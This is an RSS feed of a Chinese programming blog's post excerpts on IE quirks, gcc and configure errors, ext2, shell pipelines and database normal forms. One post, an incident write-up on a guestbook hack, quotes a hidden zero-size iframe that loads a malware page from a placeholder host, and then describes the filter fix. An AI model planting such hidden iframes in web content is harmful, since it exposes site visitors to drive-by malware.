<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>可可熊的窝 &#187; Not Language</title>
	<atom:link href="http://cocobear.info/blog/category/my-programming/not-language/feed/" rel="self" type="application/rss+xml" />
	<link>http://cocobear.info/blog</link>
	<description>K.I.S.S</description>
	<lastBuildDate>Sat, 10 Dec 2011 16:11:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>网页前端编程</title>
		<link>http://cocobear.info/blog/2009/08/25/web-front-dev/</link>
		<comments>http://cocobear.info/blog/2009/08/25/web-front-dev/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 08:23:17 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[Js]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=730</guid>
		<description><![CDATA[IE6竟然不能连接向同一个网页发请求[做个按钮使用ajax请求一个网址 你们在服务器上发现 其实IE6只发了一次 但是ajax返回确是成功的] IE7对iframe标签的支持竟然有问题&#8211;>http://zhengrenchi.blogbus.com/logs/23056446.html IE6与IE6 div标签的默认值不一样。 JS代码报错的位置竟然不是真正出错的位置！ &#8230;&#8230;. 就这些简单的问题折腾了我好几天。web前端编程太麻烦了，这么痛苦的开发环境，真是受不了。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2009/08/25/web-front-dev/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>configure时遇到的问题</title>
		<link>http://cocobear.info/blog/2008/10/10/configure-error-cpp-fails-sanity-check/</link>
		<comments>http://cocobear.info/blog/2008/10/10/configure-error-cpp-fails-sanity-check/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 03:28:29 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=314</guid>
		<description><![CDATA[编译一个游戏的客户端时遇到了点问题： configure: error: C preprocessor &#8220;/lib/cpp&#8221; fails sanity check 首先确定是否安装了gcc-c++，如果没有则安装之；然后检查config.log文件，如果提示找不到limits.h文件，解决的办法是： yum install kernel-headers 更多讨论见：http://www.linuxquestions.org/questions/linux-software-2/configure-error-c-preprocessor-libcpp-fails-sanity-check-124961/page3.html#post2974284 ################################显眼的分隔线####################################################### 出来冒个泡，好久没更新了，今天遇到这个问题发现很多人在写相关的解决办法时很不全面，而我刚开始搜解决办法的时候也是被迷惑了好久。总结下经验吧，首先是要按照configure时的提示看看config.log文件，会有很有用的信息在里面，还有一点，把google的搜索语言改为英文，我的浏览器已经是默认设置了，中文的技术资料质量还是太差了。 顺便想起昨天偶尔去GameRes逛了下，发现了几个有意思的小游戏，结果下下来的文件中全是一堆垃圾，描述里面还说什么开源，评论里面也是一堆赞美的话，真是悲哀啊！！]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/10/10/configure-error-cpp-fails-sanity-check/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ext2文件系统的设计与实现</title>
		<link>http://cocobear.info/blog/2008/05/26/ext2intro/</link>
		<comments>http://cocobear.info/blog/2008/05/26/ext2intro/#comments</comments>
		<pubDate>Mon, 26 May 2008 08:43:21 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[Ext2]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=283</guid>
		<description><![CDATA[原文见这里 本来打算自己翻译，结果，看到网上已经有人做过翻译了，就在别人的基础上改了改： http://cocobear.info/download/ext2intro.pdf]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/05/26/ext2intro/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Fedora9中的gcc</title>
		<link>http://cocobear.info/blog/2008/05/22/fedora9-gcc43/</link>
		<comments>http://cocobear.info/blog/2008/05/22/fedora9-gcc43/#comments</comments>
		<pubDate>Thu, 22 May 2008 08:18:31 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[gcc，F9]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=282</guid>
		<description><![CDATA[Fedora9中默认安装的gcc版本是4.3，（Ubuntu8.04还只是4.2.1）由于gcc本身的变化，在Fedora9中源码编译一些软件的时候会出错，比如eva。我原来写的程序在gcc 4.2.1中可以顺利编译，今天在F9中测试的时候就出错了： test.cpp:38: error: ‘memcpy’ was not declared in this scope gcc的官方有针对这种情况的说明： http://gcc.gnu.org/gcc-4.3/porting_to.html gcc 为了加快编译的速度，减少了对头文件的检查，因此得手动包含所有相关的头文件。这样做可以确保程序员在写代码的时候意识到自己需要哪些头文件，而不是交给编译器去处理。不过同时也带来了不少麻烦，许多以前写的代码都没办法在gcc 4.3中编译通过。 我在f8（VM虚拟机中）中使用gcc 4.2.1编译一个动态链接库时完全正常，但在F9（AMD64 Dou）中使用gcc 4.3编译就无法通过了提示： /usr/bin/ld: test.o : relocation R_X86_64_32 against `a local symbol&#8217; can not be used when making a shared object; recompile with -fPIC test.o: could not read symbols: Bad value 不知道这是gcc 4.3的问题，还是双核64系统的问题。只好再装一个低版本的gcc，下载了gcc 4.2.4的源码包，没想到编译时又出错了： /usr/include/gnu/stubs.h:7:27: error: gnu/stubs-32.h: 没有那个文件或目录 [...]]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/05/22/fedora9-gcc43/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>折腾了一个代码高亮的插件</title>
		<link>http://cocobear.info/blog/2008/04/03/about-ig_syntax_hilite/</link>
		<comments>http://cocobear.info/blog/2008/04/03/about-ig_syntax_hilite/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 03:41:10 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[ig_syntax_hilite]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=255</guid>
		<description><![CDATA[awk '/.*0020*./{print}' 00 &#62; 01 awk ' {print $18} ' 01 &#62; 02 cat 02 &#124; sort &#124; uniq &#62; 03 //g' 03 &#62; 04 sed -e '/.*\.\.\.\.\.\./d' 04 &#62; 05 sed -e 's/\.\.\.//g' 05 &#62; 06 sed -e 's/\b\.\b/\-\-\-\-/g' 06 &#62; 07 rm -f 01 02 03 04 05 06 awk '/.*0020*./{print}' 00 &#62; [...]]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/04/03/about-ig_syntax_hilite/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>留言簿被别人测试挂马</title>
		<link>http://cocobear.info/blog/2008/01/29/%e7%95%99%e8%a8%80%e7%b0%bf%e8%a2%ab%e5%88%ab%e4%ba%ba%e6%b5%8b%e8%af%95%e6%8c%82%e9%a9%ac/</link>
		<comments>http://cocobear.info/blog/2008/01/29/%e7%95%99%e8%a8%80%e7%b0%bf%e8%a2%ab%e5%88%ab%e4%ba%ba%e6%b5%8b%e8%af%95%e6%8c%82%e9%a9%ac/#comments</comments>
		<pubDate>Tue, 29 Jan 2008 08:33:09 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/2008/01/29/%e7%95%99%e8%a8%80%e7%b0%bf%e8%a2%ab%e5%88%ab%e4%ba%ba%e6%b5%8b%e8%af%95%e6%8c%82%e9%a9%ac/</guid>
		<description><![CDATA[先戴个图给大家看看： 一看就知道是被别人测试iframe挂马了，看来留言簿的代码还是有问题，没有把该过滤的东西过滤掉。putty到DH主机上看看MYSQL数据库里面的东西： 最早有问题的留言是： &#160;&#60;tr&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#160;&#160;&#60;th&#160;scope=&#34;col&#34;&#62;&#38;nbsp;&#60;/th&#62; &#160;&#160;&#60;/tr&#62; &#160;&#160;&#60;tr&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#60;/tr&#62; &#160;&#160;&#60;tr&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#60;/tr&#62; &#160;&#160;&#60;tr&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#160;&#160;&#60;td&#62;&#38;nbsp;&#60;/td&#62; &#160;&#160;&#60;/tr&#62; 这个应该是测试是否可以提交HTML标签的。接下来的留言内容： &#160;&#60;iframe&#160;src=http://www.xxx.com/muma.html&#160;width=0&#160;height=0&#62;&#60;/iframe&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 这段代码是被写入留言簿中的留言内容，产生一个高、宽为0的frame，经典的挂马行为。这个frame在opera下可以看到，很小的一块，但是IE里是看不到的，当然也只有IE才会中iframe的马。看看在Opera中的效果： 再看下面： &#60;iframe&#160;src=http://www.google.com&#160;width=100&#160;height=100&#62;&#60;/iframe&#62;&#160; 产生一个高、宽为100的frame，里面是google主页。 &#160;&#60;iframe&#160;src=http://www.google.com&#160;&#62;&#60;/iframe&#62;&#160;&#160;&#160; 最后一个，未指定高、宽由页面自动匹配。 知道问题的原因了，看了看留言簿的代码，在关键字过滤处没有&#60;tr&#62;&#160;&#60;iframe&#62;这两个标签，现在加上去就好了。然后在MYSQL中删除这几条垃圾留言。OK 这个年头自己弄个网站不知道一天有多少人在打你的主意，你要是有点流量的话更是会被别人定上的，网上混的话还是安全第一。]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/01/29/%e7%95%99%e8%a8%80%e7%b0%bf%e8%a2%ab%e5%88%ab%e4%ba%ba%e6%b5%8b%e8%af%95%e6%8c%82%e9%a9%ac/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>数据库之关系范式</title>
		<link>http://cocobear.info/blog/2007/07/07/%e6%95%b0%e6%8d%ae%e5%ba%93%e4%b9%8b%e5%85%b3%e7%b3%bb%e8%8c%83%e5%bc%8f/</link>
		<comments>http://cocobear.info/blog/2007/07/07/%e6%95%b0%e6%8d%ae%e5%ba%93%e4%b9%8b%e5%85%b3%e7%b3%bb%e8%8c%83%e5%bc%8f/#comments</comments>
		<pubDate>Sat, 07 Jul 2007 10:29:35 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/2007/07/07/%e6%95%b0%e6%8d%ae%e5%ba%93%e4%b9%8b%e5%85%b3%e7%b3%bb%e8%8c%83%e5%bc%8f/</guid>
		<description><![CDATA[很理论的一些东西,真让人头痛,没办法考试要考啊!看书本好长时间没理解了,在网上搜到了贴子如下,写得挺容易理解的,再结合下面给出的链接的文章差不多搞定了. 　　所谓范式，是关系型数据库关系模式规范化的标准，从规范化的宽松到严格，分别 为不同的范式，通常使用的有第一范式、第二范式、第三范式及BC范式等。范式是建立 在函数依赖基础上的。 函数依赖 定义：设有关系模式R(U)，X和Y是属性集U的子集，函数依赖是形为X→Y的一个命题， 对任意R中两个元组t和s，都有t[X]=s[X]蕴涵t[Y]=s[Y]，那么FD X→Y在关系模式R(U)中成 立。X→Y读作‘X函数决定Y’，或‘Y函数依赖于X’。 　　通俗的讲，如果一个表中某一个字段Y的值是由另外一个字段或一组字段X的值来确 定的，就称为Y函数依赖于X。 　　函数依赖应该是通过理解数据项和企业的规则来决定的，根据表的内容得出的函数 依赖可能是不正确的。 第一范式（1NF） 定义：果关系模式R的每个关系r的属性都是不可分的数据项，那么就称R是第一范式的模 式。 　　简单的说，每一个属性都是原子项，不可分割。 　　1NF是关系模式应具备的最起码的条件，如果数据库设计不能满足第一范式，就不称 为关系型数据库。关系数据库设计研究的关系规范化是在1NF之上进行的。 第二范式（2NF） 定义：如果关系模式R是1NF，且每个非主属性完全函数依赖于候选键，那么就称R是第 二范式。 简单的说，第二范式要满足以下的条件：首先要满足第一范式，其次每个非主属性要完 全函数依赖与候选键，或者是主键。也就是说，每个非主属性是由整个主键函数决定的 ，而不能由主键的一部分来决定。 举个例子： 　　有股票日行情表的主键是股票代码和交易日期组成。非主属性中有收盘价和成交量 等，都是由主键，即股票代码和交易日期函数决定的，单独的股票代码或者交易日期都 不能函数决定这些非主属性。如果这个表中有非主属性股票简称，则股票简称是可以由 股票代码来函数决定的，这样股票简称这个非主属性就不是完全函数依赖于候选键，这 样的设计就不满足第二范式。 第三范式（3NF） 定义：如果关系模式R是2NF，且关系模式R（U，F）中的所有非主属性对任何候选关键 字都不存在传递依赖，则称关系R是属于第三范式。 简单的说，第三范式要满足以下的条件：首先要满足第二范式，其次非主属性之间不存 在函数依赖。由于满足了第二范式，表示每个非主属性都函数依赖于主键。如果非主属 性之间存在了函数依赖，就会存在传递依赖，这样就不满足第三范式。 举个例子： 在股票基本情况表中，主键是股票代码，有非主属性所属一级行业和所属二级行业。根 据业务规则，所属二级行业能够函数决定所属一级行业，这就表示存在这样一种关系： 股票代码函数决定所属二级行业，所属二级行业函数决定所属一级行业，这就形成了传 递依赖，这样的设计就不符合第三范式。 不过在实际运用中，为查询和使用的方便，有时也会违反第三范式。如上例，如果没有 所属一级行业的属性，需要查询所属一级行业的相关股票，需要查询时使用函数来从二 级行业中函数生成所属一级行业，使用性能上会受影响。所以通常会加上所属一级行业 的属性。 BC范式（BCNF） BC范式是第三范式的增强版，不过也有人说是直接从1NF发展过来的，即每个属性，包 括主属性或非主属性，都完全依赖于候选键，并且不存在传递依赖情况。 摘自CSDN 还有希赛网的一篇文章]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2007/07/07/%e6%95%b0%e6%8d%ae%e5%ba%93%e4%b9%8b%e5%85%b3%e7%b3%bb%e8%8c%83%e5%bc%8f/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>编程语言的一点看法</title>
		<link>http://cocobear.info/blog/2007/06/10/%e7%bc%96%e7%a8%8b%e8%af%ad%e8%a8%80%e7%9a%84%e4%b8%80%e7%82%b9%e7%9c%8b%e6%b3%95/</link>
		<comments>http://cocobear.info/blog/2007/06/10/%e7%bc%96%e7%a8%8b%e8%af%ad%e8%a8%80%e7%9a%84%e4%b8%80%e7%82%b9%e7%9c%8b%e6%b3%95/#comments</comments>
		<pubDate>Sun, 10 Jun 2007 13:56:51 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Not Language]]></category>
		<category><![CDATA[编程相关]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=133</guid>
		<description><![CDATA[自从第二种编程语言诞生以来,有关语言的优劣的讨论就一直在继续,直到今天,你仍然可以在各种各样的新闻组、论坛、博客等地方看到对两种或者多种语言优劣的讨论，有的时候可以说是争论吧。 有的时候我也会觉得Java错误处理机制并不好，但仅仅是自己一点点看法，我并不会和任何一个人在任何地方去争论到底哪个语言好。在我看来编程语言的好坏仅仅是像吃东西一样，有些人喜欢甜食，而有些人喜欢辛辣的食物一样，各有所爱。而真正重要的是当你需要完成一个任务的时候，哪种语言是更适合 来做这件事，而不是哪种语言更好一些。 星际争霸 不知道大家看了上面的东西会有何感想，一个JS写的星际，也许你以前会说JS只适合做网页，那现在呢？即使让你选一种你认为比较适合写星际的语言（比如C++）来写上面的程序，我相信也不是容易的事。 所以，编程语言只是手中的一把剑，如果你的内力够高，草木皆可为剑！]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2007/06/10/%e7%bc%96%e7%a8%8b%e8%af%ad%e8%a8%80%e7%9a%84%e4%b8%80%e7%82%b9%e7%9c%8b%e6%b3%95/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

